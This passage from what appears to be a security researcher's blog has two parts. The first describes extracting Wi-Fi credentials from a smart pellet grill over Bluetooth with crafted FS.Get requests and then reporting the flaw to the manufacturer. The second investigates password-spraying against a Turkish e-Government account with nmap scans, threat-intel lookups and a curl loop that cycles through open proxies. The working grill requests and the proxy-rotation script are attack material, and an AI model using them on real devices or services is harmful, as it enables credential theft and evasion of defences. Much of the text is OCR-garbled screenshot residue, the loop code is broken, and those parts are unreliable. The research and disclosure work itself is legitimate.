Ion         Source           ost ()         remote ()           ()         localhost ()           ocntroller         controller           0         localhost ()           controller         controller           ost ()         remote ()           ()         localhost ()           controller         controller           ost ()         remote ()           ()         localhost ()           controller         controller           ost ()         remote ()           ()         localhost ()           ost ()         remote ()           ()         localhost ()	Protocol ATT ATT HCI_EVT ATT HCI_EVT ATT HCI_EVT ATT ATT ATT ATT ATT ATT ATT	Length Info 19 Rcvd Write Response, Handle: 0x0033 (Unknown) 101 Sent Write Request, Handle: 0x002e (Unknown) 8 Rcvd Number of Completed Packets 14 Rcvd Erorn Response - Invalid Offset, Handle: 0x 12 Sent Read Request, Handle: 0x002e (Unknown) 8 Rcvd Number of Completed Packets 10 Rcvd Read Response, Handle: 0x002e (Unknown) 16 Sent Write Request, Handle: 0x002s (Unknown) 8 Rcvd Number of Completed Packets 10 Rcvd Write Response, Handle: 0x002s (Unknown) 9 Rsvd Number of Completed Packets 10 Rcvd Write Response, Handle: 0x002e (Unknown) 9 Rcvd Number of Completed Packets 10 Rcvd Write Response, Handle: 0x002e (Unknown) 12 Sent Read Request, Handle: 0x002e (Unknown) 12 Sent Read Request, Handle: 0x002e (Unknown)
<pre>&gt; Frame 144: 14 bytes on wire (112 bits; Bluetooth HCI H4 = Bluetooth HCI H4 = Bluetooth HCI A4 = Bluetooth HCI A2 Dacket </pre>	0000 92 4a 20 93 90	05 00 04 00 01 12 2e 00 07 J
Bluetooth: Protocol		Packets: 709 · Displayed: 709 (100.0%) · Dropped: 0 (0.0%)

After doing some research, I learned that the "invalid offset" error was triggered due to the size of command/payload. Later, I decided to equalize the size of the **85**-character init.js request and the above **88**-character **conf9.json** request. After removing 3 space characters, the request took the following form and became **85** characters in length.

## {"id":999,"method":"FS.Get","params":{"filename":"conf9. json","offset":0,"len":20}}

After sending this request to the grill, I saw that I was able to successfully read the first **20** characters of the **conf9.json** file.

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	:hq.github.io/i	CyberChef/#recipe=From_Base64('A-Za-	z0-9%28/%3D',true,false	)&input=ImV3b2dJQ0prWIhacFkyVWIPaUI3Q21 🛆 🛕 🚖	🕽 💐 🤹 🖈 🖬 🕐 Update 🔅
Download CyberChef 🛓		Last build:	7 days ago - Version 10 is	here! Read about the new features here	Options 🔅 About / Support 🕜
Operations		Recipe		Input	+ 🗅 🖻 🛢 🚍
Search		From Base64	⊘ 11		
Favourites	*	Alphabet A-Za-z0-9+/=			
To Base64		_	-		
From Base64		Remove non-alphabet chars	Strict mode		
To Hex					
From Hex					
To Hexdump				- 137 - 1 9 137	Ty Raw Bytes ↔ LF
From Hexdump				Output	8 D B C
URL Decode				(	
Regular expression				"device": {     "id": '	
Entropy				<pre> //  mgtt": {     for up and</pre>	0
Fork				server :	
Magic					
Data format			_		
Encryption / Encoding		STEP 🛛 💆 BAKE!	Auto Bake		
					U AND IT HAR DYLES (* U

When I continued reading the file by incrementally increasing the optional parameter **Offset**, I discovered that with the following request, I was able to obtain the wireless network name and password I had entered during the setup of the grill application!

## {"id":999,"method":"FS.Get","params":{"filename":"conf9. json","offset":280,"len":99}}

*/root/Desktop/send.sh -	Mousepad		equests pranog	requests.pca	ipng	
File Edit Search View Document Help			Telephony Wirel	ess <u>T</u> ools <u>H</u>	elp	
	DQRQ nt. You may harm your system.	Executed the the bash script.	∩ ·← → [	•	• • 🖀	
$\label{eq:2} \begin{array}{l} a \in f_{10} hash \\ a \in 10^{-1} \ \mbox{scale} \ \ \mbox{scale} \ \ \ \mbox{scale} \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ \$		6d 0+65 1 0+25 1 0+65 1 0+73 1 0+38		Protocol Len ATT ATT EL_EVT ATT ATT HCI_EVT HCI_ACL HCI_ACL HCI_ACL HCI_ACL HCI_ACL HCI_ACL HCI_ACL HCI_ACL	gth Info 19 Revd Write Response 97 Sent Write Request, 8 Revd Number of Comp 10 Revd Wite Response 12 Sent Read Request, Received the response encoded in base64.	, Handle: 0x0023 (Unknown) Handle: 0x0024 (Unknown) Handle: 0x0024 (Unknown) Hetel Packets whatle: 0x0022 (Unknown) Handle: 0x0022 (Unknown) Handle: 0x0022 (Unknown) 0x702] [Reassembled in #70 0x702] [Reassembled in #70 0x702] [Reassembled in #70 0x702] [Reassembled in #70 0x702] [Reassembled in #70
root@Kalit-jDesl				A11		
Attoncia Edit View Help Attoncing to write /org/blucz/hclb/dew_ messgrafk-koreicedit/.com/deditediteditediteditediteditediteditedi	Prepared the command in he; bluetoothctl to s read service@22/cb	) () () () () () () () () () (	0000         c5         00         0           0016         0020         0         0           0023         0020         0         0           0050         0060         0         0           0050         0060         0         0           0050         0060         0         0           0060         0070         0         0           0080         0080         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0           0080         0         0         0         0           0080 <td< td=""><td>4 00 0b 7b</td><td>22 69 64 22 3a 39 39 9 7d 7d</td><td>59 20 22 3 (*1 d*1999) 80, result transf</td></td<>	4 00 0b 7b	22 69 64 22 3a 39 39 9 7d 7d	59 20 22 3 (*1 d*1999) 80, result transf
<pre>(root@ Kali) [~/Desktop] a echo -n '{"id":999, "method":"FS.Get",' </pre>		2022737263; son", "o	Frame (24 bytes)	Reassemble	ed BTHCI ACL (201 bytes)	
					Packets:	709 · Displayed: 709 (100.0%)

A Hack 4 Career. Inf	📅 Linkedin 😏	Mert SARICA (mer 衬 Inbox - mert.saric				Cther Bookmarks
Download CyberChef		Last build:	7 days ago - Version 10 is	here! Read about the new features here	Options 🔅	About / Support 🕜
Operations		Recipe	2 H i	Input	+	
Search		From Base64	0 11	Å\{"id":999,"src":"	_","result":{"data":	
Favourites	*	Alphabet A-Za-z0-9+/=	•		", "left": 70}}	•
To Base64		_	-			
From Base64		Remove non-alphabet chars	Strict mode			
To Hex						
From Hex						
To Hexdump				193 == 1	Censored SSID &	Fr Raw Bytes ↔ LF
From Hexdump				Output	WiFi password	ា 🗇 🖬 🗆
URL Decode				•B}öÊÜ5sôçq6=•Þ²énu×Z3E2F[4*		
Regular expression				"wifi": {		
Entropy				"ssid": """""",	-	
Fork				)•çíí	•	C
Magic						
Data format			_			
Encryption / Encoding		STEP 📃 💆 BAKE!	Auto Bake	-		

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As a result of my security research, I uncovered this critical vulnerability. By exploiting it, I demonstrated that a malicious person could easily learn the wireless network name and password of this brand and model of grill from a distance of **98** to **984** feet by sending requests. What's surprising is that for this vulnerability to be exploited, the grill only needed to be plugged in and didn't even have to be in the "POWER ON" state.

While I may not know the exact number of households affected by this vulnerability, <u>statistics</u> show that as of the beginning of 2021, there were approximately **100** million households using grills in the United States. Considering that one in three households used more than one grill, it's safe to say that the proliferation of such smart grills (IoT devices) poses significant security risks.

After discovering this significant vulnerability, instead of parting ways with my smart grill, I decided to move it to the <u>Wi-Fi Guest Network</u> along with my other IoT devices, ensuring that it wouldn't spoil my appetite. Now I can continue to enjoy delicious meals without any worries. C

As a precaution, I recommend not leaving your smart grill plugged in when you're not using it until the manufacturer addresses this vulnerability.



Hope to see you in the following articles.

Note: I sent an email to the grill manufacturer about this vulnerability on April 1st. Unfortunately, I have not received a response yet.

8 0

Responsible Vulnerability Disclosure for 🗧 🧧 📕 Pellet Grill 🔉



📼 Sat, Apr 1, 11:29 AM (3 days ago) 🛛 🛧 🕤 🚦

Dear Sir or Madam,

My name is Mert, and I am a seasoned cybersecurity professional who conducts cybersecurity research and publishes them on my blog for the benefit and awareness of the public.

According to various research, IoT (internet of things) devices, such as coffee machines, thermostats, smart speakers, smart bulbs, alarm systems, etc., might have vulnerabilities (https://www.fortinet.com/resources/cyberglossary/iot-device-vulnerabilities) due to their limited software and hardware capabilities.

7. How Do They Hack Turkish e-Government Accounts?

[powerkit\_toc title="Table of Contents" depth="2" min\_count="4" min\_characters="1000"]

### Introduction

On **October 25, 2023**, at 11:46, I learned that my Turkish e-Government Gateway account had been temporarily disabled for one hour due to multiple unsuccessful login attempts with the wrong password through the e-Government application and warnings sent to my email address.



Although the likelihood of a threat actor guessing my long and complex password was low, and I also use a two-step authentication method on the e-Government Gateway, as a security researcher, I decided to investigate how my account was temporarily disabled.

Having started my professional career in 2005 as an <u>Ethical</u> <u>Hacker</u> and Penetration Tester, conducting security tests for web applications for years, I began examining the e-Government Gateway login page as if I were a threat actor attempting to hack my account.

For a threat actor to access my account, they needed to have my TCKN (Turkish ID) information. Given that, as seen in my article "<u>Was Turkey's e-Government Hacked?</u>", many of our details circulate in the underground, obtained from various sources over the years, I didn't need to dwell on where and how they found my TCKN information.

Could a threat actor with my TCKN information eventually determine my password through <u>brute force</u> attack and reach the two-step authentication stage? Did e-Government Gateway not have a series of security measures to prevent this attack technique, such as <u>CAPTCHA</u> or <u>IP address</u> blocking? To find answers to these questions, I attempted to log into my e-Government account with incorrect passwords. After two unsuccessful attempts, a CAPTCHA control appeared, as expected in a secure web application, and my account was not disabled. So, how did the attacker manage to temporarily disable my account?

e-Devlet K	apisi sistemi		e-Devlet Kapisi https://www.turkiye.gov.tr
e-Devlet Şifresi Mobi	l İmza Elektronik İmza	T.C. Kimlik Kartı	İnternet Bankacılığı
T.C. Kimlik Numaranızı ve e kaldığınız yerden devam ec	-Devlet Şifrenizi kullanarak kim lebilirsiniz. <mark>e-Devlet Şifresi Nec</mark>	liğiniz doğrulandıktan so lir, Nasıl Alınır?	nra işleminize
Kimlik no veya şif birlikte e-posta ac ve hızlı bir şekilde düğmesine basar Youtube sayfamı izleyebilirsiniz.	re hatalidir. e-Devlet Kapısı profi resiniz kayıtlı ise (profilde tanımı T'ye giderek yeni şifre zafri almı yenileyebilirsiniz. Şifrenizi unuttı ak şifre yenileme işlemi yapabilir: dan (https://youtu.be/1916j0o2p	inizde cep telefonunuz v olan güvenlik ayarlarına ak zorunda değilsiniz. Şi uğunuzda altta yer alan ' üğunz aniz. eE) şifre yenileme ile ilg	eya cep telefonu ile 4 göre) şifrenizi renizi kolay Şifremi Unuttum" Ii Kamu spotumuzu
* T.C. Kimlik No			•
* e-Devlet Şifresi			
	* e-Devlet şifrenizi unutmanız telefonunuzdan yenileme işler	<b>durumunda</b> doğruladığın mi yapabilirsiniz.	iz cep
* Güvenlik Kodu	Lütfen resimde gördüğünüz k giriniz, Resmi okuyamıyorsanız, üzer oluşturabilirsiniz.	arakterleri yanında bulun ine tıklayarak yeni bir tar	an kutuya. e

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CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) is a type of security measure known as challenge-response authentication. CAPTCHA helps protect you from spam and password decryption by asking you to complete a simple test that proves you are human and not a computer trying to break into a password protected account. (Source: <u>Google</u>)

In an attempt to find an answer to this question, when I started making unsuccessful login attempts to my e-Government account from different IP addresses using a <u>VPN</u>, I observed that my account was temporarily disabled for one hour on the 5th attempt. This once again demonstrated a security control that should exist in a secure web application. It effectively

prevents the detection of the password through a brute force attack, which might target the account through possibly hundreds or thousands of <u>bots</u>.

## Who is the Target?

In recent months, due to my articles on <u>WhatsApp Scammers</u> and <u>Cryptocurrency Scammers</u>, I've been able to thwart the plans of scammers. In this cyber attack, I set out to determine whether the threat actors had specifically targeted my account or if they had coincidentally come across my account in a password spraying attack targeting broad accounts.

In a password spray attack, the bad guys try the most common passwords across many different accounts and services to gain access to any password protected assets they can find. Usually these span many different organizations and identity providers. For example, an attacker will use a commonly available toolkit like Mailsniper to enumerate all of the users in several organizations and then try "P@\$\$w0rd" and "Password1" against all of those accounts. (Source: <u>Microsoft</u>)



#### How Password Spraying Works

### Image: Arkose Labs

To find an answer to this question, I conducted a Google search to see if there were other individuals like me whose e-Government accounts had been temporarily disabled. Through my search, I discovered that a significant number of people have been subjected to such attacks since 2020.





When I investigated the source of the IP addresses in these screenshots, I found that some of them were originating from a network called <u>Tor</u>, which is frequently used by cybercriminals for anonymous communication.

171.25.193.78 – Tor Exit Node 185.220.100.252 – Tor Exit Node 185.220.101.46 – Tor Exit Node 77.68.20.217 – Tor Exit Node 104.244.73.193 – Tor Exit Node

Considering that this situation has occurred to many individuals over the years, it is highly likely that it was not a targeted attack against me but rather a part of a password spraying attack. To further investigate the IP addresses that played a role in locking my account, I decided to broaden my research.

## **Technical Investigation**

#### Attackers' IP Addresses

When I accessed my e-Government account immediately after it was reopened, and began examining the <u>History</u> page, I quickly noticed that the unsuccessful login attempts were made using <u>IPv6 addresses</u> instead of <u>IPv4</u>.

Şifre Durumunuz				
Son Değişiklik Tarihi				
Sonraki Değişiklik Tarihi				
Son Başarısız Giriş Dene	mesi Şifre 25/	10/2023 18:46	22 (IP:2001:19f0:6001:20f:9a7f:d317:c645:37eb:48067)	
Sisteme Giriş Geçmişiniz				
Tarih	Uygulama	Sonuç	IP Adresi	Tür
25/10/2023 20:18:01	-	Başarılı	IL CONTRACTOR OF A DECISIONO OF A DECISIONO OF A DECISIONO OF A DECIS	Şifre
25/10/2023 18:46:22		Başarısız	2001:19f0:6001:20f:9a7f:d317:c645:37eb:48067	Şifre
25/10/2023 18:46:18		Başarısız	2001:19f0:6801:8dd:daab:291b:a4d6:dfc7:41456	Şifre
25/10/2023 18:46:16		Başarısız	2001:19f0:8001:e5d:8404:4a87:e3cf:58cb:59377	Şifre
25/10/2023 18:46:10		Başarısız	2600:3c03:e000:b44:ec11:517f:1d99:7cbc:37865	Şifre
25/10/2023 18:44:18	-	Başarısız	2001:19f0:8001:13a:f42d:4d56:deb9:c465:44215	Şifre
12/10/2023 19:48:33		Başarısız	2600:3c06:e001:7ab:c6a6:9c89:949f:96f9:48360	Şifre

### **IP** Addresses Lookup

When I checked the WHOIS information of the IPv6 addresses through <u>IPinfo</u>, I found that all of them belonged to cloud service providers named <u>Vultr</u> and <u>Linode</u>.

```
2001:19f0:6001:20f:9a7f:d317:c645:37eb - Vultr
2001:19f0:6801:8dd:daab:291b:a4d6:dfc7 - Vultr
```

2001:19f0:8001:e5d:8404:4a87:e3cf:58cb – Vultr 2600:3c03:e000:b44:ec11:517f:1d99:7cbc – Linode 2001:19f0:8001:13a:f42d:4d56:deb9:c465 – Vultr 2600:3c06:e001:7ab:c6a6:9c89:949f:96f9 – Linode

#### Ports

When I scanned the IPv6 addresses for their most well-known open ports using the <u>nmap</u> tool, I found that only the 22nd port, associated with the SSH service, was open.

~# nmap -iL hosts.txt -6 -sV root@ Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-25 14:12 EDT Nmap scan report for 2001:19f0:6001:20f:9a7f:d317:c645:37eb Host is up (0.067s latency). Not shown: 999 closed ports STATE SERVICE VERSION PORT 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) Nmap scan report for 2001:19f0:6801:8dd:daab:291b:a4d6:dfc7 Host is up (0.081s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) Nmap scan report for 2001:19f0:8001:e5d:8404:4a87:e3cf:58cb Host is up (0.060s latency). Not shown: 999 filtered ports

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Nmap scan report for 2600:3c03:e000:b44:ec11:517f:1d99:7cbc Host is up (0.00019s latency). Not shown: 999 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

Journey from IPv6 to IPv4

When I used the nmap tool again (nmap -iL hosts.txt -6 -sV

-script ssh-hostkey.nse -script-args ssh\_hostkey=all) to search for the fingerprints of SSH services and queried Shodan, I easily found the **IPv4** addresses of these servers to gather more information about them.

2001:19f0:6001:20f:9a7f:d317:c645:37eb ssh-hostkey: b9:cb:48:39:52:d9:f2:83:d8:ba:12:e9:9f:1d:55:21

### 2001:19f0:6801:8dd:daab:291b:a4d6:dfc7 ssh-hostkey: 41:4f:6f:b8:3e:96:c0:6e:28:d8:7e:f0:81:e9:10:99

2001:19f0:8001:e5d:8404:4a87:e3cf:58cb ssh-hostkey: 20:c1:8b:f9:06:9a:bc:e0:89:73:02:07:b3:71:b0:0b

2600:3c03:e000:b44:ec11:517f:1d99:7cbc ssh-hostkey: 1b:c3:d3:43:b5:b1:9a:09:24:18:d3:d8:14:3f:34:fb

## 2001:19f0:8001:13a:f42d:4d56:deb9:c465 ssh-hostkey: 5d:2b:6d:11:c9:f5:e2:8f:99:bc:2a:30:19:63:90:3c



5d:2b:6d:11:c9:f5:e2:8f:99:bc:2a:30:19:63:90:3c

### Threat Research

The information gathered from the obtained IPv4 and IPv6 addresses, when searched on various platforms such as <u>VirusTotal</u>, <u>SOCRadar XTI</u>, <u>AlienVault OTX</u>, resulted in findings only on SOCRadar XTI.

According to the results, an end user system associated with the server having the IP address **45.32.148.233**, used by the attacker, was compromised in May 2023. A malware named <u>Racoon</u>, used for <u>stealing information</u>, operated on this system. In 2022, another end user system associated with the same IP address was infected with another information-stealing malware called <u>RedLine</u>. All the stolen information was later put up for sale on the Russian underground market.



Examining the content of the files obtained by the SOCRadar Dark Web team, it became apparent that there was once a <u>phpMyAdmin</u>, a database management tool, on the server. In light of this information, threat actors might have had unauthorized access to this server for a long time and could have been using it in their attacks.

#### Hack 4 Career 203

LOGID-4704	1366			+
Name	Date Modified			
> 🛅 Autofills	August 23, 2022, 03:14		Folder	
> 🛅 Cookies	August 23, 2022, 03:14		Folder	
DomainDetects.txt	August 23, 2022, 03:14	133 bytes	Plain Text	
🔝 ImportantAutofills.txt	August 23, 2022, 03:14		Plain Text	
InstalledBrowsers.txt	August 23, 2022, 03:14	962 bytes	Plain Text	
InstalledSoftware.txt	August 23, 2022, 03:14		Plain Text	
Passwords.txt	August 23, 2022, 03:14	2 KB	Plain Text	
Screenshot.jpg	August 23, 2022, 03:14	291 KB	JPEG image	
> 🚞 Steam	August 23, 2022, 03:14		Folder	
🔝 UserInformation.txt	August 23, 2022, 03:14		Plain Text	
*       -       -       *       *         *       -       -       -       *         *       -       -       -       *         *       -       -       -       -       *         *       -       -       -       -       *         *       -       -       -       -       *         *       -       -       -       -       *         *       -       -       -       -       *         *       -       -       -       -       *         *       -       -       -       *       *         *       Telegram: https://t.me/       *       *				
URL: https://hebergtonserv.fr/password/reset/change Username: Password: Application: Opera Software_Unknown 				

## New Ports

When examining the IPv4 addresses on the search engine named <u>Censys</u> and scanning the ports using the nmap tool, I discovered that, unlike IPv6 scans, each server had nearly **2000** new ports, excluding port 22.







Having nearly 2000 open ports on a server is not a typical configuration, so I decided to inspect these ports.

Usually, encountering such a large number of open ports on a system is reminiscent of an open proxy server. Therefore, my initial suspicion was towards a proxy server. As I continued to examine the information about the IPv4 addresses used by the attacker on Censys, a line in the records related to the IPv4 address <u>45.32.148.233</u> (**Proxy-Connection: close**) immediately caught my attention, raising a new question in my mind. Could these be similar to the open proxy servers that were frequently <u>encountered</u> on the Internet in the early 2000s?

Anonymous proxy: This server reveals its identity as a proxy server but does not disclose the originating IP address of the client. Although this type of server can be discovered easily, it can be beneficial for some users as it hides the originating IP address. (Source: <u>Wikipedia</u>)

To find an answer to this question, I used the <u>cURL</u> tool to make a request to the https://ifconfig.me/all webpage, specifying the IPv4 address 45.32.148.233 and a random port (22939) listed as a proxy server on Censys. Upon making the request, I observed that the request from the proxy server to this IPv6 webpage was sent using the address 2001:19f0:6801:8dd:4995:dc24:1643:54d5. In short. the answer to the question was "Yes." These were indeed open proxy servers, allowing me to make web requests to target web pages while hiding my own IPv4 address.



However, the proxy server with the IPv6 address **2001:19f0:6801:8dd:4995:dc24:1643:54d5**, as shown in the screenshot above, was not one of those involved in the temporary closure of my e-Government account

(**2001:19f0:6801:8dd:daab:291b:a4d6:dfc7**). To determine the relationship between this proxy server and the mentioned IPv6, I prepared a simple script that connects to the open 2000 ports of the IPv4 address 45.32.148.233 and sends a request to the **https://ifconfig.me/ip** webpage.

```
#!/bin/sh
for ((i=22000; i=24000; i++))
do
curl -x 45.32.148.233:$i -L -s -k
https://ifconfig.me/ip >>
ip_check_45.32.148.233.txt
echo '' >> ip_check_45.32.148.233.txt
sleep 1
done
```

In each response from the webpage, a different IPv6 address was present. According to this result, malicious individuals could perform a brute-force attack on a webpage using 2000 different IPv6 addresses. After the script ran for a while, I was able to identify the IPv6 address that was responsible for the attack on my e-Government account among these addresses.

Şifre Durumunuz				
Son Değişiklik Tarihi				
Sonraki Değişiklik Tarih				
Son Başarısız Giriş Dene	emesi Şifre 25/1	0/2023 18:46	:22 (IP:2001:19f0:6001:20f:9a7f:d317:c645:37eb:48067)	
Sisteme Giriş Geçmişiniz				
Tarih	Uygulama	Sonuç	IP Adresi	Tür
Tarih 25/10/2023 20:18:01	Uygulama -	Sonuç Başarılı	IP Adresi	Tür Şifre
Tarih 25/10/2023 20:18:01 25/10/2023 18:46:22	Uygulama -	Sonuç Başarılı Başarısız	IP Adresi	Tür Şifre Şifre
Tarih 25/10/2023 20:18:01 25/10/2023 18:46:22 25/10/2023 18:46:18	Uygulama - -	Sonuç Başarılı Başarısız Başarısız	IP Adresi 2001:19(0:6001:20/6:9a7/cd317:c645:37eb:48067 2001:19(0:6801:8dd:daab:291b::a4d6:dfc7):41456	Tür Şifre Şifre
Tarih 25/10/2023 20:18:01 25/10/2023 18:46:22 25/10/2023 18:46:18 25/10/2023 18:46:16	Uygulama - - - -	Sonuç Başarılı Başarısız Başarısız Başarısız	IP Adresi 2001:19/0:6001:20f:9a7f:d317:c645:37eb:48067 2001:19/0:5601:8d4:daab:291b:a4d6:df:7A1456 2001:19/0:8001:6d:4404:4a87re3cf:8eb:59377	Tür Şifre Şifre Şifre Şifre
Tarih 25/10/2023 20:18:01 25/10/2023 18:46:22 25/10/2023 18:46:18 25/10/2023 18:46:16 25/10/2023 18:46:10	Uygulama - - - - -	Sonuç Başarılı Başarısız Başarısız Başarısız Başarısız	IP Adresi 2001:1906:5001:20f3a7/d317:c645:37eb48067 2001:1906:5801:8dd:dab291b:a4d6.dfc741456 2001:19f0:5801:8dd:4044a87x8d:58dc59377 2003:038:0001445et1517fc1897cbc37865	Tür Şifre Şifre Şifre Şifre Şifre
Tarih 25/10/2023 20:18:01 25/10/2023 18:46:22 25/10/2023 18:46:18 25/10/2023 18:46:16 25/10/2023 18:46:10 25/10/2023 18:44:18	Uygulama - - - - - -	Sonuç Başarılı Başarısız Başarısız Başarısız Başarısız	IP Adresi 20011910:6001-2059a7hd317x645:37eb:48067 20011910:8001-6348404ab:291b:a446.cft/241456 20011910:8001+63484044a87x82h58cb:59377 26003x03xe00:b44:xe11517f1097cbc=37865 20011910:8001743x4244465eb:eb%2x6544215	Tür Şifre Şifre Şifre Şifre Şifre Şifre



#### Why are they using an IPv6 address?

While conducting all these investigations, I began to ponder why the attacker chose to use IPv6 addresses. After some time, I realized that the devil is in the details.

When you rent a server from service providers like <u>DigitalOcean</u>, <u>Linode</u>, <u>Vultr</u>, they allocate one IPv4 address to you, and you use this IP address for all your internet-related activities on that server.

Cybercriminals often rent servers from such service providers to carry out or camouflage their cyber attacks. Over time, the IPv4 addresses of servers used in their cyber attacks get detected, blocked, and added to global blacklists by security technologies. As the attempted attacks get thwarted, and their IPv4 addresses become unusable, and with accounts and servers rapidly getting shut down due to complaint notifications, they find themselves in the quest for new servers.

For instance, if we assume that they perform these cyber attacks from **100** servers, paying **\$6** per server, they would incur a total cost of **\$600**. The longer they can carry out these attacks without being detected, the more cost-effective it becomes for them. Otherwise, as they get blacklisted, they repeatedly have to bear this cost as their accounts and servers are shut down.

Now, how does using IPv6 instead of IPv4 change the game? These service providers typically grant their customers using rented servers only **one** IPv4 address. However, when it comes to IPv6, they can produce and use **thousands** of them. This allows malicious actors to conduct their attacks using over a thousand IPv6 addresses by paying just \$6. As they get blacklisted, they can generate and use new IPv6 addresses on the servers they employ, effectively avoiding significant consequences until complaints reach the service provider.

So, did the e-Government application, with its security controls and measures, truly make it difficult for attackers to use IPv4 instead of IPv6? Or did attackers prefer IPv6 to secure their operations? To investigate this, after my e-Government account was temporarily closed due to five incorrect login attempts, I tried to log in with the correct password to my wife's account immediately afterward and successfully gained access.

According to this result, if, in the application or at the network level, an IPv4 account is not blacklisted or blocked when a brute-force attack is attempted on more than two accounts, attackers could carry out these attacks with a single IPv4 address on multiple accounts for an extended period. Otherwise, using IPv6 addresses becomes their only option.

Since I didn't have the chance to test and confirm this on more than two e-Government accounts, and considering that attackers conducted these attacks through IPv6 systems, it is highly likely that e-Government security measures were effective against the IPv4 addresses used by attackers.

## How Can I Protect My e-Government Account?

In conclusion, we can see that cyber attackers, over the years, have resorted to various methods to hack Turkish e-Government accounts, utilizing compromised systems forming bot networks, occasionally using their systems, employing
proxy server <u>software</u> to hide their tracks and avoid detection, and purchasing servers from service providers with IPv6 support. In short, they have explored every avenue.

So how can you protect yourself from the attacks discussed in this article? The most crucial step you need to take is to use one of the two-factor authentication methods when logging into your e-Government account.

On this occasion, I wish you a happy new year and hope that 2024 brings health, happiness, and success to you and all your loved ones.

Hope to see you in the following articles.